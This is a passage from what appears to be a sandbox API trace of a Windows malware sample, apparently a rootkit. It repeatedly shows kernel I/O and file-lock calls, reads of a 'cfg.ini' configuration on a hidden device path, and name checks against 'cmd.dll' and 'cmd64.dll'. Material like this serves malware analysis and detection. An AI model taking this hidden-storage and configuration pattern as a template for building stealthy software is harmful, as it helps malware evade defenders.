BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c9000 [0124.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.016] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.016] IdePortDispatch () returned 0x103 [0124.017] KeWaitForMutexObject () returned 0x0 [0124.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.017] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.017] IdePortDispatch () returned 0x103 [0124.017] KeWaitForMutexObject () returned 0x0 [0124.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.017] KeLeaveCriticalRegion () [0124.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.018] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.018] KeEnterCriticalRegion () [0124.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.018] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.018] KeLeaveCriticalRegion () [0124.018] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.018] KeEnterCriticalRegion () [0124.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.018] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.018] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.018] KeLeaveCriticalRegion () [0124.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.018] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.018] KeEnterCriticalRegion () [0124.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.018] ExFreePoolWithTag (P=0xfffffa8003bee970, Tag=0x0) [0124.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.018] KeLeaveCriticalRegion () [0124.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.018] ReleaseMutex (hMutex=0xf0) returned 1 [0124.018] Sleep (dwMilliseconds=0x124f80) [0124.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.036] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.036] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.036] KeEnterCriticalRegion () [0124.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.036] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.036] IdePortDispatch () returned 0x103 [0124.037] KeWaitForMutexObject () returned 0x0 [0124.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.037] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.037] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.037] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.037] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.037] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befdb0 [0124.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.037] KeLeaveCriticalRegion () [0124.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.038] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.038] KeEnterCriticalRegion () [0124.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.038] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.038] KeLeaveCriticalRegion () [0124.038] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.038] KeEnterCriticalRegion () [0124.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.038] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.038] IdePortDispatch () returned 0x103 [0124.038] KeWaitForMutexObject () returned 0x0 [0124.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.038] KeLeaveCriticalRegion () [0124.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.038] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.038] KeEnterCriticalRegion () [0124.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ce000 [0124.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.038] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.039] IdePortDispatch () returned 0x103 [0124.039] KeWaitForMutexObject () returned 0x0 [0124.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.039] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.039] IdePortDispatch () returned 0x103 [0124.039] KeWaitForMutexObject () returned 0x0 [0124.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.039] KeLeaveCriticalRegion () [0124.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.040] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.040] KeEnterCriticalRegion () [0124.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.040] KeLeaveCriticalRegion () [0124.040] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.040] KeEnterCriticalRegion () [0124.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.040] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.040] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.040] KeLeaveCriticalRegion () [0124.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.040] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.040] KeEnterCriticalRegion () [0124.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.040] ExFreePoolWithTag (P=0xfffffa8003befdb0, Tag=0x0) [0124.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.040] KeLeaveCriticalRegion () [0124.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.040] ReleaseMutex (hMutex=0xf0) returned 1 [0124.040] Sleep (dwMilliseconds=0x124f80) [0124.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.059] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.059] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.059] KeEnterCriticalRegion () [0124.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.059] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.059] IdePortDispatch () returned 0x103 [0124.059] KeWaitForMutexObject () returned 0x0 [0124.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.059] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6460 [0124.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.059] KeLeaveCriticalRegion () [0124.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.059] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.059] KeEnterCriticalRegion () [0124.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.059] KeLeaveCriticalRegion () [0124.059] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.059] KeEnterCriticalRegion () [0124.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.060] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.060] IdePortDispatch () returned 0x103 [0124.060] KeWaitForMutexObject () returned 0x0 [0124.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.060] KeLeaveCriticalRegion () [0124.060] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.060] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.060] KeEnterCriticalRegion () [0124.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d3000 [0124.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.060] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.060] IdePortDispatch () returned 0x103 [0124.060] KeWaitForMutexObject () returned 0x0 [0124.061] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.061] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.061] IdePortDispatch () returned 0x103 [0124.061] KeWaitForMutexObject () returned 0x0 [0124.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.061] KeLeaveCriticalRegion () [0124.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.061] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.061] KeEnterCriticalRegion () [0124.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] KeLeaveCriticalRegion () [0124.062] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.062] KeEnterCriticalRegion () [0124.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.062] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] KeLeaveCriticalRegion () [0124.062] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.062] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.062] KeEnterCriticalRegion () [0124.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] ExFreePoolWithTag (P=0xfffffa8003bc6460, Tag=0x0) [0124.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.062] KeLeaveCriticalRegion () [0124.062] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.062] ReleaseMutex (hMutex=0xf0) returned 1 [0124.062] Sleep (dwMilliseconds=0x124f80) [0124.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.081] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.081] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.081] KeEnterCriticalRegion () [0124.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.081] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.081] IdePortDispatch () returned 0x103 [0124.081] KeWaitForMutexObject () returned 0x0 [0124.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.082] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.082] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.082] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.082] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.082] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befc10 [0124.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.082] KeLeaveCriticalRegion () [0124.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.082] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.082] KeEnterCriticalRegion () [0124.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.082] KeLeaveCriticalRegion () [0124.082] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.082] KeEnterCriticalRegion () [0124.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.082] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.082] IdePortDispatch () returned 0x103 [0124.082] KeWaitForMutexObject () returned 0x0 [0124.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.083] KeLeaveCriticalRegion () [0124.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.083] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.083] KeEnterCriticalRegion () [0124.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.083] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d8000 [0124.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.083] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.083] IdePortDispatch () returned 0x103 [0124.083] KeWaitForMutexObject () returned 0x0 [0124.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.083] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.083] IdePortDispatch () returned 0x103 [0124.083] KeWaitForMutexObject () returned 0x0 [0124.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.084] KeLeaveCriticalRegion () [0124.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.084] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.084] KeEnterCriticalRegion () [0124.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.084] KeLeaveCriticalRegion () [0124.084] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.084] KeEnterCriticalRegion () [0124.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.084] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.084] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befcd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.084] ExReleaseFastMutexUnsafe (in: 